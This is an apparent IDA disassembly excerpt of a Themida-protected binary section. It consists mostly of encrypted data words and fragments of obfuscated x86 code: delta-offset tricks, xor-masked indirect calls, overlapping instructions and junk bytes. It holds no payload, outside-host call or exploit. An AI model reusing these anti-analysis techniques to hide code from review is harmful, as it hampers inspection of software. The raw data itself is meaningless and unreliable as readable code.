		dd 3DA44E73h, 0EC5FFF30h, 63000000h, 3579DD7Ch,	0D932B1E2h
		dd 9B8ED27Ch, 4892B8h, 158EED1Dh, 5F1AF21Ch, 581EB53Ah
		dd 0D14576BFh, 160A93E2h, 0EFBF961Ch, 0F5D21B64h, 0C6A11538h
		dd 9DE6397Dh, 17BD4153h, 52EC0193h, 0ACA9BE21h,	230A5EA2h
		dd 86D91D33h, 2B274955h, 62B7FEE1h, 0E7F423FAh,	8D9AACB4h
		dd 0FA597AAAh, 89B99C23h, 8623FA59h, 0BC051279h, 40538F72h
		dd 2D752BE1h, 17BC1A4Ah, 0E1121F1Ch, 0CCEE724Ah, 0ED44D64h
		dd 4C337BC5h, 9EB4A307h, 64E86C55h, 11391A33h, 208AC9DEh
		dd 0E0D21B37h, 0C2A5D90Ah, 0ECD9D6FAh, 59000000h, 0F245701h
		dd 0C4D90C4Ah, 7489BC90h, 283D70E4h, 0B8EC1F2Bh, 41094A13h
		dd 0F45EF90Eh, 0A6AAACC1h, 57F75E73h, 7255BF24h, 23FFA342h
		dd 78929347h, 8F1D4D30h, 0B9A01C15h, 9F06599Dh,	0B486192h
		dd 5EF70C3Fh, 7842BDF0h, 8F1D4D30h, 15221C15h, 0C48ACBE4h
		dd 86C88D80h, 8395DD53h, 7EDF8F69h, 0A3A1FAFh, 0F1C1598h
		dd 0A3C5D102h, 0B77A5DA7h, 0DC23FFA1h, 25378BCFh, 1F04488Eh
		dd 0F62C40AEh, 633ADC3Ah, 0C491AADBh, 1342578Ah, 0E908F73Bh
		dd 0B3A10349h, 0DF73E4CBh, 0DDA75AEh, 62F26648h, 4F82CB1Eh
		dd 0E9331B3Ah, 0CDFE5602h, 381E0559h, 2871DD78h, 476091E4h
		dd 12F94311h, 66DA0B43h, 0F56E805Ch, 12422533h,	1796FF29h
		dd 2F84F60Ah, 0E46BA4D5h, 0CD004E07h, 6DB19DB8h, 0A70h
		dd 3F697500h, 0E52FE58h, 0D90B8ABBh, 0A093D781h, 625599B5h
		dd 25185CF4h, 0E9DC2032h, 0A99CE06Ah, 695CA0AAh, 2E2165EFh
		dd 0EFE22626h, 6AA8EC6Ah, 81E18951h, 4C1h, 4E98300h, 8B240C87h
		dd 5682424h, 89000017h,	89522404h, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 2414895Ch, 0EA09EB68h, 24048B07h, 6804C483h
		dd 6DB8h, 83242489h, 5A042404h,	8428F50h, 5A2434FFh, 4C481h
		dd 48B0000h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 48BBE95Ch, 0FA43FFFBh, 0A77E27A3h, 1591B800h, 0C50307EAh
		dd 7647E0FFh, 8F2147BCh, 976B2BD5h, 58C219B8h, 9FA07847h
		dd 0ABB228AEh, 0D2DD05EAh, 11A147BCh, 0F737A33h, 338154A5h
		dd 69752C7Ch, 9EE6227Fh, 0B79C6EE5h, 0B934251Ah, 0A7F21BEEh
		dd 9DE97BF7h, 0E9000000h, 943AF7FCh, 5000000h, 1000000h
		dd 28000000h, 200000Ah,	53000000h, 69767265h, 50206563h
		dd 206B6361h, 32h, 1Dh dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5E4752
; ---------------------------------------------------------------------------
		push	7EA18BFh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EA1A1Dh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EA1B37h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EA1B91h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EA1CADh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EA1D23h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EA205Ch
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EA215Fh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		db 98h,	0C0h, 9Eh
		dd 0FB1BF40Ah, 5B755167h, 0BED2B1C7h, 1D39142Ah, 114AB089h
		dd 70861A36h, 0CEE47896h, 3046DAF0h, 0F4A73B53h, 0B730C744h
		dd 599E13A8h, 617956CAh, 7B997311h, 0A0C9AE2Bh,	1C851442h
		dd 14B2440Ah, 4CE71F37h, 2B43203Ah, 11E269DBh, 3056D6ADh
		dd 0BBEC22D0h, 0D5E71871h, 0B3FB94B3h, 0A7E4E663h, 41AA13A6h
		dd 88A35C09h, 172813A6h, 0F5D02F6Fh, 4305D877h,	2E000000h
		dd 5E39424Dh, 0FB99E942h, 34CF071Dh, 9DAFCFA8h,	0A98C42BFh
		dd 0E14A13A6h, 0C71AF391h, 9BD3E9h, 22CF95A7h, 13A6A959h
		dd 22FE9CEEh, 2602D008h, 0E039D40Ch, 497531CEh,	0D87808B6h
		dd 11D1Fh, 20924800h, 0D4AE1FA1h, 83E37EB6h, 0F5D169FEh
		dd 0AF08A3DBh, 8EA6839Dh, 91AD8856h, 96AE8B59h,	0ECD6D446h
		dd 4EA56077h, 0CBA8763Ch, 0E8C563B3h, 0A1F698D0h, 0B80B86E2h
		dd 8AACBE17h, 1C3612B0h, 3E3749E4h, 144289C6h, 4D297451h
		dd 1838C72Ch, 79D2E1A2h, 0B94DA641h, 76AEC6A3h,	6EBEF09Fh
		dd 75956E0Ch, 78946F3Dh, 12140D1Fh, 6013A632h, 0C845A7F7h
		dd 13A63A33h, 0B4E92F9Fh, 817C0140h, 0A8BE9C28h, 0A1C3D570h
		dd 51A10D82h, 5D7351EFh, 6A2A8A25h, 0F9A7B743h,	810A0315h
		dd 0CD1440A8h, 9B761464h, 0AF11EB7Fh, 896B4D32h, 14A0091Bh
		dd 0F10B1D39h, 74A6FA16h, 39623490h, 96673F9h, 3D150000h
		dd 9871871Bh, 0F2CEE478h, 4F2E44D8h, 0B691A73Bh, 0C72D069Ah
		dd 397B38Eh, 61F513EDh,	0C3576D4Bh, 24B8D0ADh, 0BF44C171h
		dd 1B13A8B8h, 7B5647D6h, 0B2080958h, 0FC5553F1h, 13F08E68h
		dd 1628C3FBh, 0B7071FFCh, 0AC205545h, 0E47FB7CFh, 39913184h
		dd 82B5D7D9h, 0DEF0CFECh, 0F492EBBCh, 9470FC1Ah, 4A45687Ah
		dd 0D1971464h, 9F13A6A9h, 0AA3DC23Fh, 309913A6h, 0A82587D7h
		dd 13A6AAD3h, 0FF132670h, 0A2F307F5h, 0DA122806h, 0ED4E63Fh
		dd 0A6669E61h, 79DB2D13h, 45B23E07h, 35A01516h,	13A6A04Eh
		dd 0F491A30Ch, 2AA709B0h, 13A6A055h, 0C25F9101h, 9DE0A97Ah
		dd 0A8573244h, 0EED8773Bh, 7A680F8Ch, 7DE613A6h, 0BCB7891Dh
		dd 4E60D7E8h, 0C4AFh, 7956D800h, 805B2961h, 877F2C64h
		dd 921442A4h, 71916AB5h, 0F5459E39h, 29617B57h,	445A7C8Eh
		dd 40174F67h, 710F5F4Fh, 536B4895h, 0EF27801Bh,	0D0294721h
		dd 0E163E0BEh, 0AF13A6B1h, 1884F646h, 0F1F619A1h, 2E05EC21h
		dd 0CA7F2ECEh, 1EBC96B8h, 56F12941h, 406E2144h,	6D5773F0h
		dd 0BC251440h, 0C4ADFA6Ch, 8CAD589Ah, 23FE9C7Ah, 37997307h
		dd 894FC5BAh, 17F5911Bh, 0D52EC901h, 0B2CEA9C3h, 346BC65Eh
		dd 35BBFB62h, 808h, 0E5799B73h,	42D6F6CFh, 0A236502Ch
		dd 599AD8Ch, 64F814EFh,	11EC658Bh, 714B61F5h, 0CBA9BF53h
		dd 2E0B21B5h, 1FCF8216h, 0A8BADDA2h, 0A5347913h, 0CB5F7B56h
		dd 2CC0D8B5h, 6179565Bh, 667E5B29h, 9FDCB3D2h, 0A674ACC0h
		dd 0DE79B1C9h, 5FDC2C85h, 13A8B6C8h, 77CD1686h,	99D1E9C6h
		dd 3A909EFEh, 852373CCh, 0ACA789A8h, 0D7806AB2h, 0A8B4A55Ah
		dd 6FC83113h, 668D8216h, 0F513A8B4h, 4F2B7E57h,	962FD35h
		dd 12436D1h, 0D5AA2790h, 8113A8B5h, 42BBF18h, 5D513E80h
		dd 0CC49AB0Dh, 13A8B537h, 2F283AA3h, 144C9961h,	1476C62Fh
		dd 8CE1E097h, 0F3056E1Bh, 166F515Ch, 0EEA18844h, 0F3D270C0h
		dd 607453DFh, 49F3704Eh, 7B031B8h, 8F669Eh, 7FFC5EAEh
		dd 0BF39FAF8h, 0FDDBED56h, 1120FD9Bh, 39FAEF94h, 0A9026BBFh
		dd 0FA27DC59h, 4AB3BF39h, 4A1B3F38h, 48BAB8DEh,	53BE6535h
		dd 0DEBDCFE6h, 0AA872575h, 0C8A44292h, 647A9CAEh, 131B6F87h
		dd 0C2BE9D0Eh, 6EEFC82h, 0B58D0000h, 10E9FF93h,	6A465CF0h
		dd 0C7A6BC50h, 2E091FB3h, 5FA57E12h, 7B0F2B06h,	0D96D8B65h
		dd 3BCFE5C3h, 9C304825h, 0C7BC39E9h, 9313A8BBh,	424DBF4Eh
		dd 889F1C6Ch, 0C613A8B6h, 966F0D5Dh, 0F3CCE276h, 0F0CD9BD3h
		dd 16F37BD1h, 63BC2690h, 1581290Fh, 0FA80C06Ah,	694h, 59ED0FE7h
		dd 0B64A6A43h, 16AAC4A0h, 790D2100h, 0D86C8863h, 8560F9FFh
		dd 0E5BFD569h, 3F1D33C7h, 0A27F9529h, 9343F68Ah, 0A8BB6116h
		dd 19A8ED13h, 1C6C424Dh, 0A8B6889Fh, 0D5DC613h,	0E67A926Fh
		dd 0DA599A0Ch, 130A0786h, 0FBB3DE01h, 2D5D2EABh, 0A81113A8h
		dd 2D39C370h, 7F9013A8h, 906897C7h, 336DD871h, 96000000h
		dd 1A6A444Dh, 42A0EA9Dh, 9B187814h, 1442A0E4h, 0DDFDD672h
		dd 58B10AA5h, 0A0887320h, 2E3F1442h, 1DB94676h,	71EE05Ch
		dd 47000000h, 1CD9Eh, 0C7452D00h, 2CA90E81h, 1442A057h
		dd 0F1419A03h, 0A68CA674h, 0FAD87413h, 0B811ACE4h, 0D6ECCA68h
		dd 5AF1039Eh, 0F48B086Ah, 6213A68Ch, 57EEE7F9h,	0D7BC0C23h
		dd 29A6F6B8h, 0A4285A17h, 0DD5ACD3Dh, 4D3373EDh, 71CAE6C1h
		dd 3009A739h, 0B4DBFE10h, 0F52DAAFAh, 0A7ACD75Fh, 0EE8CEE3Eh
		dd 22BDF515h, 0CE19F610h, 3080D9F1h, 0A0AA51CEh, 0BF28D318h
		dd 293B5933h, 0FC14F107h, 0A65B9AA8h, 9D2363AAh, 578h
		dd 75092B03h, 0D266865Fh, 32C6E0BCh, 95293D1Ch,	0F488A47Fh
		dd 0A17CD51Bh, 1DBF185h, 5B394FE3h, 0BE9BB145h,	0AF5F12A6h
		dd 0A8BC4D32h, 35C40913h, 11617956h, 6E4D9473h,	2EC9015Ah
		dd 107F561Ch, 5ADC4E9Eh, 117A0BA9h, 23A07E90h, 13A65685h
		dd 0EF572D4h, 0CC13A657h, 9725163h, 0BC399B75h,	13A657C7h
		dd 0FE182A93h, 97B50921h, 7A6A1B63h, 502B43Ah, 0A1790000h
		dd 0FCD5EB7Fh, 563248DCh, 0B392A83Ch, 1AF50B9Fh, 6B916AFEh
		dd 67FB17F2h, 0C5597751h, 27BBD1AFh, 881C3411h,	0D3A825D5h
		dd 7F13A8BDh, 7956AB3Ah, 7E5B2961h, 27F02E66h, 0B23007Fh
		dd 22FF9D77h, 463DBA0Ah, 141442A0h, 41BE99ABh, 96E05C1Dh
		dd 32h,	6C424DBFh, 0B8119F1Ch, 0D63F13A6h, 0B90EF19Eh
		dd 0ACBD13A6h, 4E4FC1F8h, 5DB9E5F7h, 69967183h,	6ED877F2h
		dd 56h,	662E1C8Eh, 6919AB5Fh, 424D8257h, 3B9F1C6Ch, 5913A6EFh
		dd 2902A0F0h, 9D90C02h,	0BB148802h, 0EEC3F96Bh,	192FC4AEh
		dd 0FF5F0B2Dh, 44569358h, 69E64822h, 13A62B92h,	9C63E040h
		dd 3A13A62Bh, 6D6678D1h, 13A62B93h, 7D112906h, 366E8E67h
		dd 42FB0h, 0F4923F00h, 2CC7FF17h, 1698F71Ah, 3D4A28C6h
		dd 42A03BC0h, 0D52E9714h, 8268E5C3h, 5013A682h,	4E1AFE7h
		dd 9250B4ECh, 87734E20h, 0ACBE7AB0h, 0B0DF570Fh, 3110AEFEh
		dd 0BE4AE51Dh, 0F38EC6E4h, 0E08603E1h, 6E1442D8h, 7E5B7105h
		dd 38572E66h, 3DEB666Fh, 0E672D6F8h, 4696EF0Bh,	6EB397C9h
		dd 60DD3D1Ch, 3EE8B9Bh,	0A4C09B37h, 0EC78D16Ch,	26C1F90Dh
		dd 0E9C795CDh, 931D02CCh, 0FB54C82Eh, 0FC1CF5C3h, 0E360DC4h
		dd 4EF6CD42h, 46DAF2CFh, 0F6466827h, 0A98AF79h,	97147604h
		dd 0BD29AE0h, 14F3056Eh, 43E173ABh, 7D185064h, 5C74516Bh
		dd 0EE966D24h, 35852966h, 3683EEB8h, 0B74BB40Ch, 74ACC4A1h
		dd 77AFCBA6h, 0DCB75513h, 5511AEC0h, 61F50DEAh,	0F60AE987h
		dd 0E0CEC1E4h, 0EAC91390h, 278734D2h, 2B96AA89h, 3B1AD254h
		dd 8409902h, 0D14E5D3Ah, 3B1AD22Ah, 0AEE63FA8h,	0B5ED01E0h
		dd 0B8F00CE7h, 601054D7h, 0E45014EBh, 15B303ABh, 4EE92137h
		dd 0B7C9E9C2h, 0CC025CD9h, 67D03CFEh, 0C8E0BDD3h, 0CDE5C290h
		dd 0E4C15F39h, 0F897BACCh, 0EDC866B6h, 6EA6C49Eh, 0A7427AD3h
		dd 0B03AB795h, 0FF249A22h, 875E748Dh, 6C4A4F6Fh, 2A831E56h
		dd 80D03918h, 89E909E2h, 0C66F6D64h, 0CC92A4E9h, 62DD5C1Fh
		dd 0AADAEB2Bh, 5D7351EFh, 0A08F704Bh, 6448A13Bh, 71000000h
		dd 0D19B2092h, 1158CD4h, 3BD60E22h, 0E2ADD0E2h,	49FF7CCCh
		dd 713A68Eh, 0C6B9669Eh, 5113A690h, 54225A76h, 16ED6A75h
		dd 0C413A690h, 8CCA025Bh, 77CF83C3h, 92AA8725h,	0F26FBF5Ah
		dd 13A6900Dh, 0B14E60C9h, 0E136C9F5h, 0EE60D877h, 0C2AD24D8h
		dd 6B0A1CF6h, 0DFh, 0D7AC298Bh,	8313A600h, 5633081Ah, 9F116179h
		dd 1E2816F1h, 8E26E01h,	4412D8EAh, 47154D69h, 4C1A526Ah
		dd 0CEC3576Fh, 14423B56h, 9CEC04E1h, 0A9BD9C3Ah, 946BD671h
		dd 42144203h, 8FA5C7D9h, 8B629AB2h, 0DD5AAA04h,	13A60DCFh
		dd 326019Dh, 2F874888h,	94E43DBCh, 0A6256017h, 2C85EE13h
		dd 4A603EDCh, 0DA3C1638h, 0A625A65Dh, 7BCB3413h, 0A62579FEh
		dd 5A6CD513h, 6565837h,	40CFA189h, 0FA4AB314h, 0D165815Ch
		dd 70C4E0BBh, 6234EBE6h, 0C979FF3Fh, 0B2000001h, 0E24B8DAh
		dd 6B811535h, 0CBE1758Fh, 2E44D8ECh, 0CAA33753h, 34502B24h
		dd 92B08AA0h, 0F40AE8FEh, 556D4A60h, 0E15E0EC1h, 13A8801Ah
		dd 56E473B8h, 710F5F7Bh, 0A6417997h, 7F5C7294h,	0A0791767h
		dd 0FF17F480h, 4DFACBEDh, 3F87542h, 941442A0h, 0CA659DB9h
		dd 43C01079h, 1442A0BCh, 858B11Ah, 0F2F08A6h, 112F09D7h
		dd 0D3E53ED9h, 0A6A914DAh, 481E313h, 13A6A97Fh,	816072DBh
		dd 95EE0AE5h, 4F2DCB5Dh, 54660139h, 0A6A9A05Bh,	6E162713h
		dd 7808D12Eh, 0A606D8h,	562F0000h, 5B296179h, 57B45D80h
		dd 7205FA77h, 68D11442h, 0D8D1C808h, 9A9A477Fh,	0AD144254h
		dd 4A24B8D0h, 0A786CDACh, 67023A93h, 135E3B55h,	8AC21B39h
		dd 82D2DCB3h, 0A65B9705h, 0C85CC513h, 78C8E6A9h, 4142F8FBh
		dd 0E966C614h, 1B894B12h, 2F4724C0h, 8F2D7DD6h,	0EE0498B4h
		dd 0BDA3F713h, 7C623470h, 0C6B63Ch, 0DDB50000h,	381127BBh
		dd 926E8418h, 0EFCEE478h, 563147DBh, 27CDA63Ah,	0A337532Eh
		dd 195B38Dh, 63F70DEBh,	0C458704Dh, 1FE46111h, 0BB13A881h
		dd 7B56E776h, 0D8B5CB5Fh, 0B4522CC0h, 0D6ABBDD9h, 4F2E7956h
		dd 0F68033Bh, 244521BFh, 0AA530112h, 0BFF75026h, 7E4C1224h
		dd 0D6F589A1h, 28A5F5B9h, 13A82107h, 0DCAAE24Bh, 0F997E7FFh
		dd 33CE061Ah, 0CE9FF21h, 7D0FBCF4h, 222EB5D3h, 0A17EE1A5h
		dd 2DFF589h, 20FC9AEAh,	86DFF5D3h, 8A17AC4Eh, 7B3EAB68h
		dd 7C4A1022h, 9A51899Dh, 66D883C3h, 0F9F74432h,	0BBD5E7B6h
		dd 1C32C6DEh, 1989203Fh, 6449E0C2h, 0D4DD30Bh, 0D3000000h
		dd 43C5C35h, 0E43D5D36h, 3E8DFDD2h, 245C7E56h, 29617956h
		dd 2F677D5Bh, 31698761h, 346C8863h, 376F8B66h, 3E768A69h
		dd 427A9470h, 437B9B74h, 0E68956EEh, 4C681h, 0EE830000h
		dd 24348704h, 2414895Ch, 81E68956h, 4C6h, 4EE8100h, 87000000h
		dd 895C2434h, 2D682434h, 8900004Ch, 4268243Ch, 8B07EA17h
		dd 0C4832434h, 70406804h, 24890000h, 24048324h,	31685F04h
		dd 89000074h, 0F2892414h, 5A085789h, 50243C8Bh,	405E089h
		dd 83000000h, 48704C0h,	34FF5C24h, 0C4815E24h, 4, 0FA5B3AE9h
		dd 0F16C74FFh
		db 0F3h, 27h
; ---------------------------------------------------------------------------


loc_5E4752:				; CODE XREF: Themida_:005E3B78j
		mov	eax, 7EA224Ah
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0AAh
		dd 3651D9ACh, 472F45C1h, 2F2E9C5Ch, 11107F81h, 0A5140577h
		dd 59508A69h, 676C5551h, 2D679DC3h, 206C3623h, 0E9797580h
		dd 0Fh,	79D0545Ah, 2 dup(0)
		dd 0E9000000h, 559h, 0D96D8F67h, 36CAEAC3h, 962A4420h
		dd 0F98DA180h, 58EC08E3h, 5E0797Fh, 653F55E9h, 0BF9DB347h
		dd 22FF15A9h, 13C3760Ah, 0A883E196h, 99286D13h,	29617956h
		dd 0F06D805Bh, 1442A00Bh, 71055EC7h, 2E667E5Bh,	336B8360h
		dd 346C8C65h, 2C1353D0h, 0C9A3374Fh, 0A015EA67h, 58C11442h
		dd 384E2C46h, 4F2CCAA4h, 7A882130h, 0AE07B513h,	0AFC9DB76h
		dd 0B583BBD1h, 0B785BDDBh, 0BC8AC2DAh, 0C290C8DEh, 0F893CBE7h
		dd 652D59D6h, 0F26D19F0h, 0A45AF714h, 262FD451h, 42AB1442h
		dd 190755E2h, 39162CC0h, 423CE921h, 5F14422Dh, 26FAEF61h
		dd 32BA90D1h, 9BC38320h, 0E05B6564h, 0A8B79432h, 4200542Bh
		dd 40990214h, 83BBDBB4h, 9437D6E8h, 60000000h, 502E7956h
		dd 0FCA9E13Ah, 1442A001h, 679FBB96h, 17A3BD99h,	84E8203Ch
		dd 11135F07h, 0CB691054h, 0EAC5D7EDh, 0E05C1115h, 0C4E91183h
		dd 0C668BE04h, 115B4h, 563E0000h, 0AB0D5D7Dh, 42A0492Eh
		dd 8A9C0514h, 0EDC032C4h, 0C15266C3h, 19F20C1Eh, 7537A9F9h
		dd 5D38DCB9h, 4A18DEF0h, 6907576Bh, 29D36B8Eh, 5DA419A2h
		dd 0E131CC04h, 42A59F64h, 0C0D23B14h, 6D1996FAh, 0A9F919F2h
		dd 0FBB49437h, 495BD565h, 1C341127h, 642C5ACCh,	0CE321CD9h
		dd 56C99ABCh, 59275F7Bh, 0EA286080h, 1FFA6521h,	3715B303h
		dd 3C4EE921h, 0F27041Ah, 132D09D7h, 2C3C51C3h, 0FFD751D7h
		dd 3B8D27EDh, 0CF1044C9h, 21460EAFh, 14DAD62h, 0EC899B91h
		dd 0D22B04B8h, 88ECE05Bh, 15000000h, 275F7B56h,	395C7D59h
		dd 0C907EAE4h, 0E64A82DBh, 67423D69h, 92F31144h, 98F888D4h
		dd 0EAD267A9h, 0A1358E4Fh, 4494B08Bh, 7AB2C8A6h, 3907CDDFh
		dd 58F6465Ah, 8A50627Ch, 0F7A7DFF0h, 0E05BED38h, 59BDh
		dd 7B56E600h, 7B59275Fh, 855F2D65h, 82612F67h, 2FF8366Eh
		dd 199C3B77h, 0FB17F26Dh, 941439ABh, 0EFF8F17Fh, 305D229Fh
		dd 90F91442h, 20825C7Eh, 4230DCA3h, 47653F14h, 0BA23740Fh
		dd 33B4F2Eh, 56815668h,	78255D7Dh, 1442A086h, 0F6A6DE9Bh
		dd 0E05C1109h, 1CEh, 7A56F700h,	93721060h, 38B5477Fh, 1442A043h
		dd 3B4DA60Fh, 7FCAA775h, 22FB87A5h, 0BB59A902h,	0F38EC6DEh
		dd 8D641BE1h, 798A66D9h, 42A007FCh, 116AD314h, 7D315E7Dh
		dd 0A94ECB2Dh, 251442A0h, 4FCCAABCh, 13A69119h,	5FA77D7h
		dd 0D113A692h, 9D70F68h, 0DBA01D2Ch, 7713A692h,	0B21B50Eh
		dd 31DE162Eh, 13A6924Ch, 0E7135B8h, 2BC91931h, 60FB3351h
		dd 0E0522C4Eh, 1C25D56Ch, 3A5466CEh, 3F0D455Dh,	0D4124A62h
		dd 7E45B0Bh, 6AC3E3BCh,	6400FFD6h, 0F896D877h, 7FA50519h
		dd 0A44FC244h, 2322C1D3h, 4B000001h, 5C39424Dh,	0C21B3511h
		dd 4696EF8Ah, 7B4F72E4h, 0AC0C2200h, 5264940Ch,	0A6458759h
		dd 0ACE44D13h, 55E901DEh, 124A623Fh, 0F704E280h, 0A7B9857Ah
		dd 8FE85113h, 90AABC57h, 25639BB3h, 5835285Ch, 60D2AC40h
		dd 0A0DB4422h, 694456C7h, 0D876EE96h, 483Fh, 444D6800h
		dd 69D1A6Ah, 546BBD5Fh,	7106B3EBh, 319442A0h, 0D7F3A6Ah
		dd 811020FDh, 6C8FA134h, 0BC398925h, 0EBBDBA27h, 0DFFBD674h
		dd 7352EECDh, 9872065Fh, 0C4DB7F26h, 52B2172Ah,	0C8703CD3h
		dd 0C496A8A6h, 86h, 65424D53h, 0EFEFA42Ch, 2474CD83h, 2D4924C2h
		dd 8570221Bh, 0B51E13A6h, 0BAD2AF7Dh, 0F48B086Ah, 2713A6F5h
		dd 61FC3448h, 7395A710h, 1868805Dh, 4981A17Ah, 0D8B14EAEh
		dd 0B3FE2746h, 0B22EDBA1h, 0B213A6D3h, 2B08772Fh, 2F607F13h
		dd 1E56704Ch, 5DDA2A83h, 144CF65Fh, 0BE8CC42Dh,	0DA91C9E1h
		dd 0BCD34303h, 0DE40A2F2h, 8C379A61h, 64CF381Bh, 1B8C379Fh
		dd 0A8C49F3Bh, 6A7CD570h, 15910F8Ch, 76DF1C66h,	424D11E2h
		dd 219F1C6Ch, 6F13A882h, 3F18B606h, 79470D1Fh, 5B75519Ch
		dd 7B586E02h, 187E2B63h, 656D92FFh, 0E4C1BCE8h,	0C3CB30C5h
		dd 6627B146h, 54B41D92h, 93EC1144h, 0AE8725FFh,	3AC13E8Eh
		dd 9892663Ah, 26031D2Fh, 0A644D60Eh, 8BA380C7h,	4D5FB853h
		dd 0F0405433h, 245C7652h, 0C7BC3989h, 9392663Ah, 8452182Ah
		dd 0B3558DA9h, 5AA21D43h, 39129E3Fh, 532AE119h,	0D2EA5F13h
		dd 2C3E5834h, 8B68D78Fh, 0F14A6440h, 3DC23FA1h,	999266F9h
		dd 22FC1E30h, 68344EC0h, 41A7AFC9h, 66ED21D6h, 3244AD92h
		dd 321C3B18h, 0B5A96380h, 58DE166Fh, 3,	563E8DE7h, 56245C7Eh
		dd 5B296179h, 612F677Dh, 63316987h, 66346C88h, 69376F8Bh
		dd 703E768Ah, 74427A94h, 0EE437B9Bh, 3C8F68h, 241C8900h
		dd 0C381E389h, 4, 8704EB83h, 685C241Ch,	1D14h, 68240489h
		dd 69D5h, 52240C89h, 0EA2311BAh, 5A585207h, 240C8B54h
		dd 4C481h, 0BA520000h, 8, 53A4C281h, 0CA01672Dh, 53A4EA81h
		dd 289672Dh, 2434FF5Ah,	4C48359h, 582434FFh, 4C481h, 9CE90000h
		dd 0B2FFFA55h, 0A77263BEh, 0E12F17C4h, 27F9B876h, 0C50307EAh
		dd 5817E0FFh, 435D677Fh, 93A34BE0h, 0F2B0632Eh,	0AAE31F10h
		dd 7072119Fh, 68274562h, 59173D80h, 0A6B85D8Eh,	0B9D84BFBh
		dd 0DE1F396Dh, 88BE391Eh, 0F5462997h, 5E154237h, 0F8A02283h
		dd 160F78B5h, 4A4C0BE0h, 138E3CFBh, 4276899h, 24EB44FCh
		dd 9 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5E4E32
; ---------------------------------------------------------------------------
		mov	[ebp+7EA28C1h],	esi
		mov	eax, [ebp+7E42015h]
		mov	eax, [ebp+7E41BCDh]
		lea	esi, [ebp+7EA290Bh]
		lea	eax, [ebp+7E78417h]
		call	eax
		retn
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7EA2911h
		cmp	dword ptr [ebp+7E42015h], 1
		jnz	loc_5E4DDC
		push	dword ptr [ebp+7EA28C1h]
		mov	eax, [ebp+7E41BCDh]
		xor	eax, 34812736h
		call	eax
		cmp	al, 1
		jnz	loc_5E4DD5
		mov	eax, 1
		jmp	loc_5E4E1C
; ---------------------------------------------------------------------------


loc_5E4DD5:				; CODE XREF: Themida_:005E4DC5j
		xor	eax, eax
		jmp	loc_5E4E1C
; ---------------------------------------------------------------------------


loc_5E4DDC:				; CODE XREF: Themida_:005E4DAAj
		push	1Ch
		lea	esi, [ebp+7EA28C5h]
		push	esi
		push	dword ptr [ebp+7EA28C1h]
		mov	eax, [ebp+7E41BCDh]
		xor	eax, 34812736h
		call	eax
		add	esp, 0Ch
		lea	esi, [ebp+7EA28C5h]
		mov	eax, [esi+14h]
		and	eax, 4
		cmp	eax, 4
		jz	loc_5E4E17
		xor	eax, eax
		jmp	loc_5E4E1C
; ---------------------------------------------------------------------------


loc_5E4E17:				; CODE XREF: Themida_:005E4E0Aj
		mov	eax, 1


loc_5E4E1C:				; CODE XREF: Themida_:005E4DD0j
					; Themida_:005E4DD7j ...
		cmp	dword ptr [ebp+7E42015h], 1
		jnz	loc_5E4E30
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5E4E32
; ---------------------------------------------------------------------------


loc_5E4E30:				; CODE XREF: Themida_:005E4E23j
		pop	ebp
		iret
; ---------------------------------------------------------------------------


loc_5E4E32:				; CODE XREF: Themida_:005E4D70j
					; Themida_:005E4E2Bj
		lea	eax, [ebp+7EA28EAh]
		mov	[ebp+7E409F9h],	eax
		lea	ecx, [ebp+7EA2A25h]
		push	0
		push	edi
		call	sub_5E4E4F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E4E4F	proc near		; CODE XREF: Themida_:005E4E47p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5E4E4F	endp

; ---------------------------------------------------------------------------
		db 79h
; ---------------------------------------------------------------------------
		fist	dword ptr [ecx+5C53926Bh]
		mov	[ebp+7E422E1h],	esi
		mov	[ebp+7E41B71h],	ecx
		mov	esi, ebx
		mov	dword ptr [ebp+7E42DA1h], 64ECh
		or	[ebp+7E413E1h],	edi
		mov	dword ptr [ebp+7E422B9h], 0
		add	[ebp+7E42631h],	edx
		push	dword ptr [ebp+7E41811h]
		movzx	eax, di
		call	dword ptr [ebp+7E43061h]
		mov	[ebp+7E42151h],	edx
		push	0
		call	dword ptr [ebp+7E40E41h]
		mov	eax, eax
		jmp	short loc_5E4F24
; ---------------------------------------------------------------------------
		db 0F0h, 85h, 0A5h
		dd 4B028BB5h, 7EED53F9h, 4670712Dh, 0C13EE1E7h,	27065902h
		dd 3E2FEEEBh, 0BBB29E07h, 0B44E4084h, 0D957A6A7h, 90D2B973h
		dd 0E5FE170Dh, 0DDA9AA98h, 8D73EDA6h, 9FE2CC79h, 0EB684769h
		dd 88D5BCA9h, 15606CD5h, 0F512825Ah, 226B67Ah, 0EDD65F18h
		dd 0B47740A3h, 0F2C0167Eh, 0E29208C5h, 0BA2EE2B5h, 62BB5088h
		dd 83794AF5h, 9362E163h
; ---------------------------------------------------------------------------


loc_5E4F24:				; CODE XREF: Themida_:005E4EB3j
		call	near ptr loc_5E4F37+3
		xor	al, al
		or	al, 0C6h
		mov	al, [ebx]
		xor	eax, 8BB0FBB7h
		aas
		aas
		inc	ebx


loc_5E4F37:				; CODE XREF: Themida_:loc_5E4F24p
		xor	[esi-548F0F7h],	esp
		pop	ebx
		call	sub_5E4F4B
; ---------------------------------------------------------------------------
		db 8Fh
; ---------------------------------------------------------------------------
		rcl	byte ptr ss:[edi-5Bh], cl
		dec	edi
		adc	esi, edx

; =============== S U B	R O U T	I N E =======================================



sub_5E4F4B	proc near		; CODE XREF: Themida_:005E4F3Ep
		cmc
		pop	edx
		add	ebx, 685Ch
		mov	edx, 7C463258h
		sub	eax, eax
		sub	[ebp+7E432A9h],	ebx


